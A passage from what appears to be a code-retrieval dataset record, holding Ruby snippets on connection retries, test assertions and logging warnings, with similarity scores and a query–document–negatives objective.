for each test.\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=#{unique_test_id}\")\n assert_response_code(200, response)\n assert_equal(requests.length.to_s, response.body)\n\n # Wait 5 seconds for any possible retry attempts that might be pending, and\n # then ensure the backend has still only been called once.\n sleep 5\n response = Typhoeus.get(\"http://127.0.0.1:9442/backend_call_count?id=#{unique_test_id}\")\n assert_response_code(200, response)\n assert_equal(requests.length.to_s, response.body)\n end",
"def test_connection\n end",
"def test_connection_options\n # Note: user, password and sasl_xxx options are tested by ContainerSASLTest below\n server_handler = Class.new(ExceptionMessagingHandler) do\n def on_connection_open(c)\n @connection = c\n c.open({\n :virtual_host => \"server.to.client\",\n :properties => { :server => :client },\n :offered_capabilities => [ :s1 ],\n :desired_capabilities => [ :s2 ],\n :container_id => \"box\",\n })\n c.close\n end\n attr_reader :connection\n end.new\n # Transport options set by listener, by Connection#open it is too late\n cont = ServerContainer.new(__method__, {\n :handler => server_handler,\n :idle_timeout => 88,\n :max_sessions =>1000,\n :max_frame_size => 8888,\n })\n client = cont.connect(cont.url,\n {:virtual_host => \"client.to.server\",\n :properties => { \"foo\" => :bar, \"str\" => \"str\" },\n :offered_capabilities => [:c1 ],\n :desired_capabilities => [:c2 ],\n :idle_timeout => 42,\n :max_sessions =>100,\n :max_frame_size => 4096,\n :container_id => \"bowl\"\n })\n cont.run\n\n c = server_handler.connection\n assert_equal \"client.to.server\", c.virtual_host\n assert_equal({ \"foo\" => :bar, \"str\" => \"str\" }, c.properties)\n assert_equal([:c1], c.offered_capabilities)\n assert_equal([:c2], c.desired_capabilities)\n assert_equal 21, c.idle_timeout # Proton divides by 2\n assert_equal 100, c.max_sessions\n assert_equal 4096, c.max_frame_size\n assert_equal \"bowl\", c.container_id\n\n c = client\n assert_equal \"server.to.client\", c.virtual_host\n assert_equal({ :server => :client }, c.properties)\n assert_equal([:s1], c.offered_capabilities)\n assert_equal([:s2], c.desired_capabilities)\n assert_equal \"box\", c.container_id\n assert_equal 8888, c.max_frame_size\n assert_equal 44, c.idle_timeout # Proton divides by 2\n assert_equal 100, c.max_sessions\n end",
"def retry_request(http, *args)\n 5.times do\n begin\n return http.send(:send_request, *args)\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n Chef::Log.debug('couchdb connection failed')\n end\n sleep 1\n end\n Chef::Log.debug('failed to connect to couchdb after 5 tries ... failing chef run')\n fail 'unable to connect to couchdb'\n end",
"def attempt_connection\n conn = Puppet::Network::HttpPool.http_instance(http_server, http_port, use_ssl, verify_peer)\n\n response = conn.get(test_path, test_headers)\n unless response.code.to_i == expected_code\n Puppet.notice \"Unable to connect to the server or wrong HTTP code (expected #{expected_code}) (http#{use_ssl ? 's' : ''}://#{http_server}:#{http_port}): [#{response.code}] #{response.msg}\"\n return false\n end\n return true\n rescue StandardError => e\n Puppet.notice \"Unable to connect to the server (http#{use_ssl ? 's' : ''}://#{http_server}:#{http_port}): #{e.message}\"\n return false\n end",
"def server_connection_failed\n @server_side = nil\n if @connected\n LOGGER.error \"Connection with #{@remote.join(':')} was terminated prematurely.\"\n close_connection\n BeanstalkProxy.connect_error_callback.call(@remote.join(':'))\n elsif @tries < 10\n @tries += 1\n LOGGER.warn \"Retrying connection with #{@remote.join(':')} (##{@tries})\"\n EM.add_timer(0.1) { connect_to_server }\n else\n LOGGER.error \"Connect #{@remote.join(':')} failed after ten attempts.\"\n close_connection\n BeanstalkProxy.connect_error_callback.call(@remote.join(':'))\n end\n end",
"def zz_should_retry(connect_attempts, msg)\n return false if connect_attempts >= 4\n\n return false if msg.nil?\n return true if msg.index(\"MySQL server has gone away\")\n return true if msg.index(\"This connection is still waiting for a result, try again\")\n\n return false\n end",
"def retry_before_failing\n sleeping(NODE_QUERY_WAIT_TIME).seconds.between_tries.failing_after(MAX_NODE_QUERY_RETRIES).tries do\n yield\n end\n yield\n end",
"def retryable(retries, delay)\n yield\n rescue *RESCUE_EXCEPTIONS_ON_ESTABLISH.call => e\n if (retries -= 1) > 0\n service.logger.info(\"[WinRM] connection failed. retrying in #{delay} seconds: #{e.inspect}\")\n sleep(delay)\n retry\n else\n service.logger.warn(\"[WinRM] connection failed, terminating (#{e.inspect})\")\n raise\n end\n end",
"def has_failed?(server)\n Thread.current[:failed_sessions].include?(server)\n end",
"def with_retries(&block)\n base_sleep_seconds = 0.5\n max_sleep_seconds = 300 # 5 minutes\n\n # Let's do this thing\n attempts = 0\n\n begin\n attempts += 1\n return block.call(attempts)\n\n rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::EHOSTUNREACH,\n Errno::ENETDOWN, Errno::ENETUNREACH, Errno::ETIMEDOUT, Timeout::Error => ex\n\n raise ex if attempts >= 100\n\n # The sleep time is an exponentially-increasing function of base_sleep_seconds.\n # But, it never exceeds max_sleep_seconds.\n sleep_seconds = [base_sleep_seconds * (2 ** (attempts - 1)), max_sleep_seconds].min\n # Randomize to a random value in the range sleep_seconds/2 .. sleep_seconds\n sleep_seconds = sleep_seconds * (0.5 * (1 + rand()))\n # But never sleep less than base_sleep_seconds\n sleep_seconds = [base_sleep_seconds, sleep_seconds].max\n\n warn \"Failed to connect: #{ex}. Retrying in #{sleep_seconds.round(1)} seconds.\"\n\n snooze(sleep_seconds)\n\n retry\n end\n end",
"def test02_4GroupsRepostArticle\n\t\trepostArticlePop\n\t\tsleep 3\n\t\tfourGroupSelect\n\t\tsleep 3\n\t\t\n\t\tbegin \n\t\tassert $repost_confirmation.exists?\n\t\t\trescue => e\n\t\t\tputs \"RS06T02: FAILED! User unable to repost!\"\n\t\t\tputs e\n\t\tend\n\tend",
"def wait_for_reboot_hack(host)\n # Sometimes beaker connects to the host before it has rebooted, so first sleep\n # to give the host time to get farther along in its shutdown\n wait_seconds = ENV['NFS_TEST_REBOOT_WAIT'] ? ENV['NFS_TEST_REBOOT_WAIT'] : 10\n sleep(wait_seconds)\n\n # If beaker has already connected successfully before the reboot, it will think\n # the necessity to reconnect is a failure. So it will close the connection and\n # raise an exception. If we catch that exception and retry, beaker will then\n # create a new connection.\n tries = ENV['NFS_TEST_RECONNECT_TRIES'] ? ENV['NFS_TEST_RECONNECT_TRIES'] : 10\n begin\n on(host, 'uptime')\n rescue Beaker::Host::CommandFailure => e\n if e.message.include?('connection failure') && (tries > 0)\n puts \"Retrying due to << #{e.message.strip} >>\"\n tries -= 1\n sleep 1\n retry\n else\n raise e\n end\n end\n end",
"def test04_4GroupsRepostEvent\n\t\trepostEventPop\n\t\tsleep 3\n\t\tfourGroupSelect\n\t\t\n\t\tsleep 3\n\t\t\n\t\tbegin \n\t\tassert $repost_confirmation.exists?\n\t\t\trescue => e\n\t\t\tputs \"RS06T04: FAILED! User unable to repost!\"\n\t\t\tputs e\n\t\tend\n\tend",
"def timeout_server(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"timeout server \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def run_simple_check(server)\n behavior(:test_mail_config, server)\n behavior(:test_syslog_config, server)\n end",
"def run_simple_check(server)\n behavior(:test_mail_config, server)\n behavior(:test_syslog_config, server)\n end",
"def with_limited_retry(opts)\n tries = opts.fetch :tries\n exceptions = Array(opts.fetch(:exceptions))\n\n return if tries == 0\n\n begin\n yield\n rescue *exceptions\n Chef::Log.warn('Bad response, try again...')\n if (tries -= 1) > 0\n sleep 1\n retry\n end\n end\n end",
"def test_default_connection_settings\n driver = create_driver('')\n assert_equal 'localhost', driver.instance.instance_eval{ @server }\n assert_equal 3030, driver.instance.instance_eval{ @port }\n end",
"def retry_game\n user_retry = $prompt.select(\"Would you like to try again?\", [\"Yes\", \"No\"])\n puts user_retry\n if user_retry == \"Yes\"\n reset_vars\n start_app\n else\n puts \"Come back to fight another day...\"\n end\nend",
"def server_probably_launched?\n success? || server_error?\n end",
"def test_should_handle_retry_by_status_code\n error = proc { raise Google::Cloud::Error, 'something bad happened' }\n @fire_cloud_client.stub :get_workspace_bucket, error do\n # should only retry once\n forbidden_mock = Minitest::Mock.new\n status = 403\n forbidden_mock.expect :status_code, status\n forbidden_mock.expect :nil?, false\n 3.times do\n forbidden_mock.expect :==, false, [Integer] # will check against 502..504\n end\n @fire_cloud_client.stub :extract_status_code, forbidden_mock do\n assert_raise RuntimeError do\n @fire_cloud_client.execute_gcloud_method(:get_workspace_file, 0, 'foo', 'bar.txt')\n forbidden_mock.verify\n end\n end\n # test with 502 should cause retry cascade\n status = 502\n bad_gateway_mock = Minitest::Mock.new\n 6.times do # 6 is for 5 total requests and then 6th iteration that terminates retry loop\n bad_gateway_mock.expect :status_code, status\n bad_gateway_mock.expect :nil?, false\n bad_gateway_mock.expect :==, true, [status]\n end\n @fire_cloud_client.stub :extract_status_code, bad_gateway_mock do\n assert_raise RuntimeError do\n @fire_cloud_client.execute_gcloud_method(:get_workspace_file, 0, 'foo', 'bar.txt')\n bad_gateway_mock.verify\n end\n end\n end\n end",
"def check_connection\n one_wait = 5\n max_wait = 15\n request = Net::HTTP::Get.new('/selenium-server/')\n wait = 0;\n while (wait < max_wait)\n begin\n response = Net::HTTP.start(@host, @port) {|http|\n http.request(request)\n }\n break if Net::HTTPForbidden === response\n break if Net::HTTPNotFound === response\n break if Net::HTTPSuccess === response\n # When we try to connect to a down server with an Apache proxy,\n # we'll get Net::HTTPBadGateway and get here\n rescue Errno::ECONNREFUSED\n # When we try to connect to a down server without an Apache proxy,\n # such as a dev instance, we'll get here\n end\n sleep one_wait;\n wait += one_wait\n end\n if (wait == max_wait)\n p(\"-- ERROR: couldn't connect to Selenium RC on \" + @host)\n return false\n end\n return true\n end",
"def has_failed?(server)\n Thread.current[:failed_sessions].include?(server)\n end",
"def test_exception_handling_releases_resources\n exception = Class.new(StandardError)\n\n 2.times do\n assert_raises(exception) do\n EM.run do\n EM.start_server \"127.0.0.1\", @port\n raise exception\n end\n end\n end\n end",
"def test_on_error_retry\n\n pdef = Ruote.process_definition do\n sequence :on_error => :retry do\n troublemaker\n end\n end\n\n @dashboard.register_participant :troublemaker, TroubleMaker\n\n assert_trace(%w[ 1 2 done. ], pdef)\n end",
"def set_speedy_connection_timeouts!\n allow_any_instance_of(Nsq::Connection).to receive(:snooze).and_return(nil)\n end",
"def read_without_retry(session, server_selector, &block)\n server = select_server(cluster, server_selector, session)\n\n begin\n yield server\n rescue *retryable_exceptions, Error::PoolError, Error::OperationFailure => e\n e.add_note('retries disabled')\n raise e\n end\n end",
"def retryable(retries, delay)\r\n yield\r\n rescue *RETRYABLE_EXCEPTIONS.call\r\n raise unless (retries -= 1) > 0\r\n\r\n sleep(delay)\r\n retry\r\n end",
"def initialize\n @sleep_time = nil\n @number_of_retries = nil\n end",
"def test_set_machine\n assert_respond_to(@ts, :host=)\n assert_respond_to(@ts, :machine=)\n #assert_nothing_raised{ @ts.machine = @@host }\n end",
"def retrying?\n @try_count > 1\n end",
"def test_add_system_error\n proxy = OpenShift::FrontendProxyServer.new\n\n uid = 500\n\n proxy.expects(:system_proxy_show).returns(nil).once\n proxy.expects(:system_proxy_set).returns(['Stdout', 'Stderr', 1]).once\n\n assert_raises OpenShift::FrontendProxyServerException do\n proxy.add(uid, '127.0.0.1', 8080) \n end\n end",
"def test_retries_then_raises_unexpected_exception\n client_stub = make_client_stub\n\n call_count = 0\n make_request_proc = lambda do |args|\n call_count += 1\n raise RuntimeError if call_count == 3\n raise FakeFaradayError.new(GRPC::Core::StatusCodes::UNAVAILABLE)\n end\n\n sleep_proc = ->(count) { }\n\n options = Gapic::CallOptions.new(\n timeout: 1,\n retry_policy: {\n retry_codes: [GRPC::Core::StatusCodes::UNAVAILABLE], \n }\n )\n\n Kernel.stub :sleep, sleep_proc do\n client_stub.stub :base_make_http_request, make_request_proc do\n ex = assert_raises RuntimeError do\n client_stub.make_get_request uri: \"/foo\", options: options\n end\n end\n end\n\n assert_equal 3, call_count\n end",
"def testWaitingActionsOnHold\n initTestCase do\n $Context[:SlaveActions] = [\n [ 'DummyTool2', 'DummyAction2', [] ]\n ]\n $Context[:DummySenderSendError] = RuntimeError.new('Sending error')\n executeMaster( [ '--process', 'DummyProcess', '--user', 'DummyUser2' ],\n :Repository => 'Dummy/MasterServerInstalledWithDummySender',\n :AddRegressionProcesses => true,\n :AddRegressionSenders => true,\n :AddSlaveClientQueues => {\n {\n :Type => 'DummySender',\n :Tools => [\n Tools::All\n ]\n } => [\n [ 'DummyUser1',\n {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n }\n ]\n ]\n },\n :Error => RuntimeError\n ) do |iError|\n assert_equal( [\n [ 'sendMessage', [ 'DummyUser1', {\n 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n } ]\n ]\n ],\n $Variables[:DummySenderCalls]\n )\n assert_equal(\n [\n [ 'DummyUser1',\n { 'DummyTool1' => {\n 'DummyAction1' => [\n []\n ]\n }\n }\n ],\n [ 'DummyUser2',\n { 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n }\n ]\n ],\n getSlaveClientQueue\n )\n end\n end\n end"
] | [
"0.6239674",
"0.6226784",
"0.6111998",
"0.6076167",
"0.6062614",
"0.60483474",
"0.60483474",
"0.5989712",
"0.5844185",
"0.5825205",
"0.58239114",
"0.5798254",
"0.57300836",
"0.5719041",
"0.5692996",
"0.5646301",
"0.5628459",
"0.5611078",
"0.55926144",
"0.55818194",
"0.55777246",
"0.5572279",
"0.5542663",
"0.5540072",
"0.5534184",
"0.5529463",
"0.5522454",
"0.5519284",
"0.5498651",
"0.54973835",
"0.54962236",
"0.5487517",
"0.5469948",
"0.5467619",
"0.5466598",
"0.54501635",
"0.5440552",
"0.5417016",
"0.54094726",
"0.5405401",
"0.54045296",
"0.5388716",
"0.53836817",
"0.5383008",
"0.5381907",
"0.5370809",
"0.53478885",
"0.5346672",
"0.53452456",
"0.5342124",
"0.53421223",
"0.5334097",
"0.5328854",
"0.53207994",
"0.53193146",
"0.5316987",
"0.5316379",
"0.5314112",
"0.5311731",
"0.5310679",
"0.5304398",
"0.53023",
"0.5293007",
"0.5291141",
"0.5274985",
"0.5271436",
"0.5260405",
"0.5255875",
"0.5254234",
"0.5251513",
"0.52504146",
"0.5249663",
"0.5249239",
"0.5247332",
"0.5243791",
"0.52358216",
"0.52216244",
"0.5221238",
"0.52137965",
"0.5209246",
"0.5208642",
"0.5203599",
"0.5203599",
"0.5193009",
"0.51873845",
"0.5184299",
"0.51835746",
"0.5181275",
"0.51798713",
"0.5163504",
"0.51605767",
"0.5158663",
"0.51568246",
"0.5155556",
"0.5152552",
"0.5143953",
"0.5125009",
"0.5124298",
"0.5111976",
"0.51076",
"0.51071143"
] | 0.0 | -1 |
Log a warning so that any application slow down is immediately obvious. | def log_retry(e, options = nil)
message = if options && options[:message]
options[:message]
else
"Retry"
end
Logger.logger.warn "#{message} due to: #{e.class.name} #{e.message}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def warning(msg) log(4, msg); end",
"def log_warning(message)\n log(message, DebugType::WARNING)\n end",
"def warn(msg)\n puts \"WARNING: #{msg}\"\n end",
"def warning(context, options = nil)\n options = options.merge(level: 'warning')\n log(context, options)\n end",
"def warn( msg )\n Kernel.warn( msg )\n end",
"def warning(msg)\n banner(\"Warning: #{msg}\", YELLOW)\n end",
"def warning(text)\n GitPusshuTen::Log.warning(text)\n end",
"def warning(message)\n log.warn(message.to_s.yellow)\n end",
"def silence_warnings\n UnionStationHooks::Log.warn_callback = lambda { |_message| }\n end",
"def warn(msg); @logger.warn(msg); end",
"def warn(msg)\n log.warn msg\n end",
"def warning(message)\n write_message message, 'warning'\n end",
"def warn(message)\n log(2, message)\n end",
"def warning\n state(\"warning\")\n end",
"def emergency(msg) log(0, msg); end",
"def warning(msg) $stderr.puts(\"Warning: #{msg}\") end",
"def warning(msg) $stderr.puts(\"Warning: #{msg}\") end",
"def warning(msg) $stderr.puts(\"Warning: #{msg}\") end",
"def warn(msg)\n Chef::Log.warn(msg)\n end",
"def warn(msg)\r\n logger.warn(msg)\r\n end",
"def logWarning(message)\n found = false\n if ($logMessages)\n\tlogServer = get($serverPath+'log')\n\tif (logServer != nil)\n\t\tlogServer.warning(message)\n\t\tfound = true\n\tend\n end\n if (!found or !$logMessages or $printAllMessages)\n\tprint(message)\n end\n\nend",
"def warn(message)\n output[:warnings] << message\n end",
"def warn(msg)\n stderr \"warning: #{msg}\"\n end",
"def log_warn(warn_message)\n logger.warn(warn_message)\n end",
"def warn(message)\n logger.warn(PROG_NAME) { message }\n end",
"def warn(msg)\n @logger.warn(msg)\n end",
"def warn message\n log Logger::WARN, message\n end",
"def log_warning warning\n message = '[aws-sdk-gem-warning] ' + warning\n if config.logger\n config.logger.warn(message)\n else\n $stderr.puts(message)\n end\n nil\n end",
"def warning(warning)\n end",
"def deprecation_warning(key, warning)\n $_deprecation_warnings ||= {}\n unless $_deprecation_warnings[key]\n $_deprecation_warnings[key] = true\n Logger.logger.warn(warning)\n end\n end",
"def warn(*args)\n log(:warn *args)\n end",
"def warn\n\n end",
"def warn(msg)\n log(msg, level: Level::WARN)\n end",
"def warn(message)\n self.warnings << message\n puts \"warn #{message}\"\n end",
"def warning(msg)\n @warnings << msg\n owarn @warnings.last\n end",
"def lwarn; end",
"def warning(*args); end",
"def warning!\n self.severity = :WARNING\n end",
"def licensing_warning(message)\n log.warn(log_key) { message }\n end",
"def warn(message)\n log(\"#{color(\"WARNING:\", :yellow, :bold)} #{message}\")\n end",
"def log_warn(message)\n logger.warn(message) if logger && logger.warn?\n end",
"def print_warning(msg)\n tag = '[ WARNING ]'\n print_formatted(tag,msg)\n end",
"def warn(msg)\n #This is a stub, used for indexing\n end",
"def warn(msg)\n $ibm_cloud_log.warn(format_message(msg))\n end",
"def gocdkit_warn(*message)\n unless ENV['GOCDKIT_SILENT']\n warn message\n end\n end",
"def sparkLogWarningToCerr(sync = false)\n sparkEnableLog(':cerr', 'eWarning', sync)\nend",
"def log_warn(str)\n @log.warn(str)\n end",
"def Warning(warning_string)\n Builtins.y2warning(1, \"%1\", warning_string) if @log_warnings\n\n if @display_warnings\n if Ops.greater_than(@timeout_warnings, 0)\n Popup.TimedWarning(warning_string, @timeout_warnings)\n else\n Popup.Warning(warning_string)\n end\n end\n\n @warnings = Builtins.add(@warnings, warning_string)\n\n nil\n end",
"def warn(message)\n asl_log(@aslclient, @aslmsg, ASL_LEVEL_WARNING, message)\n end",
"def warn?; @logger.warn?; end",
"def warn message\n super message if @verbosity > 1\n end",
"def warning_ln(message)\n write_message message, 'warning', true\n end",
"def global_warning\n # using SiteConfigutation over an environment constant DOES require a query for EVERY REQUEST\n # but the table is tiny (<5 rows right now) and the coloumn is indexed. But it also gives us the flexibility\n # to display or remove a message within seconds which I think is worth it\n warning = $CACHE.fetch(\"application/global_warning\", :expires_in => 10.minutes) do\n parameter = SiteConfigurationOption.find_by_parameter('global_site_warning')\n if parameter && parameter.value\n parameter.value\n else\n 1\n end\n end\n if warning && warning.class == String\n flash.now[:error] = warning\n end\n end",
"def warn(msg)\n @logProvider.warn(msg)\n end",
"def warn string\n $log.warn string\n Ncurses.beep\n end",
"def warn(msg)\n $warnings << msg if $warnings\nend",
"def warn( msg )\n @stringio.puts msg\n end",
"def warn(check)\n update_check_status(check, 'warn')\n end",
"def old_and_busted\n warn \"#old_and_busted is deprecated. Use #new_hotness instead.\"\n puts \"Hello, world\"\nend",
"def warn( msg=nil, &block )\n\t\t\t\treturn self.debug( msg, &block ) if @force_debug\n\t\t\t\tGemserver.logger.add( Logger::WARN, msg, @classname, &block )\n\t\t\tend",
"def warning! opts = nil\n NOCH.evaluate_for \"warning\", opts\n end",
"def warn(msg) log(WARN, \"WARN \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end",
"def warning(text)\n STDERR.puts yellow_term_text(text)\n end",
"def run_warned; end",
"def warn(string)\n Celluloid.logger.warn(string) if Celluloid.logger\n end",
"def deprecation(message)\n Chef::Log.warn message\n log(message, kind: :deprecation)\n end",
"def lwarn\n logger.add(Logger::WARN, nil, facility) { yield } if logger && logger.warn?\n end",
"def warn message\n message = \"WARN: \" + process_message(message)\n output_message message, @warn_color if valid_conditions 2\n end",
"def warn(message = nil, progname = nil, &block)\n add(WARN, message, progname, &block)\n end",
"def opoo(warning)\n # $stderr.puts \"#{Tty.yellow}Warning#{Tty.reset}: #{warning}\"\n warn \"#{Tty.yellow}Warning#{Tty.reset}: #{warning}\"\n end",
"def warn(p0) end",
"def warn message; write WARN, message, caller[0] unless level > @level end",
"def warn(string)\n @has_warnings = true\n to_console loggify(string, :warning, :yellow), true\n to_file loggify(string, :warning)\n end",
"def warn(m)\n log_handler.warn msg(m)\n end",
"def warning(message)\n @warnings = [] unless @warnings.present?\n @warnings.append(message)\n end",
"def warning(warning_message, *args)\n STDERR.puts(\"#{warning_message} - #{args.join(',')}\")\n end",
"def warning(warning_message, *args)\n STDERR.puts(\"#{warning_message} - #{args.join(',')}\")\n end",
"def warn(string)\n @logger.warn(string)\n end",
"def warn_later(text)\n return if $delayed_deprecation_warning_for_p_u_cl\n $delayed_deprecation_warning_for_p_u_cl = text\n end",
"def warn message\n @options.warn make_message message\n end",
"def warning(string); end",
"def warning(string); end",
"def report_warn(type, message)\n @report.warn(type, message)\n end",
"def warn(message)\n logger.warn(message) if logger\n end",
"def warn(log)\n output.puts log if log_level <= WARN\n end",
"def LongWarning(warning_string)\n Builtins.y2warning(1, \"%1\", warning_string) if @log_warnings\n\n if @display_warnings\n if Ops.greater_than(@timeout_warnings, 0)\n Popup.TimedLongWarning(warning_string, @timeout_warnings)\n else\n Popup.LongWarning(warning_string)\n end\n end\n\n @warnings = Builtins.add(@warnings, warning_string)\n\n nil\n end",
"def warn(msg)\n $tftplog.warn('tftp+') { msg }\nend",
"def warn(*args); end",
"def warn(*args); end",
"def warning(fmt, *args)\n end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warnings; end",
"def warn( msg=nil, &block )\n\t\t\t\treturn self.debug( msg, &block ) if @force_debug\n\t\t\t\tMongrel2.logger.add( Logger::WARN, msg, @classname, &block )\n\t\t\tend",
"def notify_warning(error, context_message = nil)\n log(error, level: :warn) do\n @config.warn_notifiers&.map { |notifier| notifier.call(error, context_message) }\n end\n end",
"def log_warn message, opts = {}, &block\n log message, opts.merge(:as => :warning), &block\n end"
] | [
"0.7569668",
"0.72883403",
"0.706101",
"0.70421386",
"0.70386136",
"0.70006114",
"0.69831985",
"0.6962385",
"0.693978",
"0.69324446",
"0.69212496",
"0.6917777",
"0.6876546",
"0.685673",
"0.68340224",
"0.682543",
"0.682543",
"0.682543",
"0.682261",
"0.68158",
"0.67673105",
"0.676179",
"0.67372715",
"0.6727732",
"0.6670897",
"0.6659863",
"0.6652294",
"0.6636854",
"0.6633177",
"0.6606276",
"0.6582385",
"0.6565164",
"0.6562154",
"0.6558546",
"0.65495384",
"0.6547651",
"0.65349084",
"0.6526838",
"0.6514259",
"0.64866406",
"0.6475766",
"0.64684415",
"0.6452539",
"0.64415765",
"0.64271736",
"0.64241034",
"0.64150393",
"0.64105064",
"0.63709015",
"0.63651305",
"0.63646203",
"0.63438684",
"0.6337576",
"0.63355136",
"0.63149786",
"0.63082486",
"0.6307841",
"0.6305122",
"0.6303048",
"0.6300526",
"0.6291246",
"0.6288075",
"0.6270806",
"0.6268923",
"0.62658095",
"0.6251015",
"0.6229917",
"0.6227386",
"0.6220208",
"0.6218191",
"0.6206024",
"0.6202625",
"0.61957943",
"0.61943024",
"0.6191326",
"0.6174086",
"0.6174086",
"0.6164776",
"0.6157336",
"0.615319",
"0.6149091",
"0.6149091",
"0.613063",
"0.61296636",
"0.6127508",
"0.6122309",
"0.6109066",
"0.6107148",
"0.6107148",
"0.61068887",
"0.60976815",
"0.60976815",
"0.60976815",
"0.60976815",
"0.60976815",
"0.60976815",
"0.60976815",
"0.60976815",
"0.60854197",
"0.608303",
"0.60802454"
] | 0.0 | -1 |
Retry writes on MMAPv1 should raise an actionable error; append actionable information to the error message and preserve the backtrace. | def raise_unsupported_error(e)
new_error = Error::OperationFailure.new("#{e.class}: #{e} "\
"This MongoDB deployment does not support retryable writes. Please add "\
"retryWrites=false to your connection string or use the retry_writes: false Ruby client option")
new_error.set_backtrace(e.backtrace)
raise new_error
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_error!(error, retry_interval = nil)\n self.attempts += 1\n self.run_at = Time.now.utc + (retry_interval * attempts) if retry_interval\n self.error = \"#{error.class.name}: #{error.message}\\n#{error.backtrace.join(\"\\n\")[0, 4000]}\"\n self.lock = nil\n begin\n save!\n rescue => e\n if DataMapper.logger\n DataMapper.logger.warn(error)\n DataMapper.logger.warn(e)\n end\n end\n end",
"def retry_encoding_which_was_interrupted_by(error)\n self.conveyor_errors << { occured_at: Time.now, description: error.message }\n self.update_attribute(:attempts, self.attempts + 1)\n if self.attempts < Pandrino.encoding_max_attempts\n Resque.enqueue(Conveyor, self.id)\n else\n raise error\n end\n end",
"def set_error!(error, retry_interval = nil)\n self.attempts += 1\n self.run_at = (retry_interval * attempts).from_now.utc if retry_interval\n self.error = \"#{error.class.name}: #{error.message}\\n#{error.backtrace.join(\"\\n\")[0, 4000]}\"\n self.lock = nil\n begin\n save!\n rescue => e\n if logger\n logger.warn(error)\n logger.warn(e)\n end\n end\n end",
"def set_error!(error, retry_interval = nil)\n self.attempts += 1\n self.lock = nil\n self.error = \"#{error.class.name}: #{error.message}\\n#{error.backtrace.join(\"\\n\")[0, 4000]}\"\n self.run_at = (retry_interval * attempts).seconds.since.utc if retry_interval\n self.save\n rescue => e\n if self.class.logger\n self.class.logger.warn(error)\n self.class.logger.warn(e)\n end\n end",
"def replay_at_error (error)\n\n get_error_journal.replay_at_error(error)\n end",
"def do_with_retry(action, num_tries=2)\n (1..num_tries).each do |i|\n begin\n yield\n if (i > 1)\n log_debug \"DEBUG: Action '#{action}' succeeded on try #{i}. You can ignore previous error messages or following mcollective debug related to '#{action}'\"\n end\n break\n rescue Exception => e\n log_debug \"DEBUG: Error performing #{action} on existing app on try #{i}: #{e.message}\"\n raise if i == num_tries\n end\n end\n end",
"def retry!\n raise RetryMessage\n end",
"def failure\n if $DEBUG\n @__num_of_tries ||= 1\n @__num_of_tries += 1\n end\n back_amb.pop.call\n end",
"def retry!\n raise 'Not implemented!'\n end",
"def recover_from(_error); end",
"def failure\n @__num_of_tries ||= 0\n @__num_of_tries += 1\n back_amb.pop.call\n end",
"def retry_update(x, hash_code, was_uncontended); end",
"def replay_at_error (error_source_event)\n\n get_workqueue.push(\n get_expression_pool,\n :do_apply_reply,\n error_source_event[3], # message (:apply for example)\n error_source_event[2], # fei or exp\n error_source_event[4]) # workitem\n\n # 0 is :error and 1 is the date and time of the error\n\n linfo do\n fei = extract_fei(error_source_event[2])\n \"replay_at_error() #{error_source_event[3]} #{fei}\"\n end\n end",
"def reschedule(message, backtrace = [], time = nil)\n if self.attempts < MAX_ATTEMPTS\n time ||= Job.db_time_now + (attempts ** 4) + 5\n\n self.attempts += 1\n self.run_at = time\n self.last_error = message + \"\\n\" + backtrace.join(\"\\n\")\n self.unlock\n save!\n else\n ::Rails.logger.info \"* [JOB] PERMANENTLY removing #{self.name} because of #{attempts} consequetive failures.\"\n destroy_failed_jobs ? destroy : update(:failed_at, Delayed::Job.db_time_now)\n end\n end",
"def error(delayed_job, exception)\n STDERR.putc 'E'\n STDERR.flush\n end",
"def retry_append_to_stream(stream_name, events, expected_revision = nil, max_retries: 0)\n retrying_on_network_failures(max_retries) do\n append_to_stream(stream_name, events, expected_revision)\n end\n end",
"def reschedule(message, backtrace = [], time = nil)\n if self.attempts < MAX_ATTEMPTS\n time ||= Job.db_time_now + (attempts ** 4) + 5\n\n self.attempts += 1\n self.run_at = time\n self.last_error = message + \"\\n\" + backtrace.join(\"\\n\")\n self.unlock\n save!\n else\n logger.info \"* [JOB] PERMANENTLY removing #{self.name} because of #{attempts} consequetive failures.\"\n destroy_failed_jobs ? destroy : update_attribute(:failed_at, Delayed::Job.db_time_now)\n end\n end",
"def retry_form526_error_handler!(submission, error)\n if error.retryable?\n retryable_error_handler(submission, error)\n else\n non_retryable_error_handler(submission, error)\n end\n end",
"def fail(output, time_taken)\n tries = self.attempts + 1\n return try_again if tries < CloudCrowd.config[:work_unit_retries]\n update_attributes({\n :status => FAILED,\n :worker_record => nil,\n :attempts => tries,\n :output => output,\n :time => time_taken\n })\n end",
"def failure_message_continuation; end",
"def failure_message_preface=(_arg0); end",
"def recoverable_error e, msg = \"Error\", bt = []\n puts \"#{msg} at time #{clock}\"\n puts \"From \" + bt[0..2].join(\"\\n \") unless bt.empty\n puts \" ...\" if bt.length > 3\n shell.run\n end",
"def recover_from(_error)\n end",
"def increment_retryable(error, is_bdd = false)\n StatsD.increment(\"#{@prefix}.retryable_error\", tags: error_tags(error, is_bdd))\n end",
"def write_permission_error(event)\n error \"No permission to write update to #{event.payload[:path]}\"\n\n Mailer.file_write_error(event.payload[:path], 'permission error').deliver\n end",
"def retry\n self.class.enqueue(\n object,\n method_name,\n *(args << {\n :job_options => {\n :parent_id => parent_id || id,\n :run_at => Time.now + times_failed ** 4,\n :priority => priority\n }\n })\n )\n end",
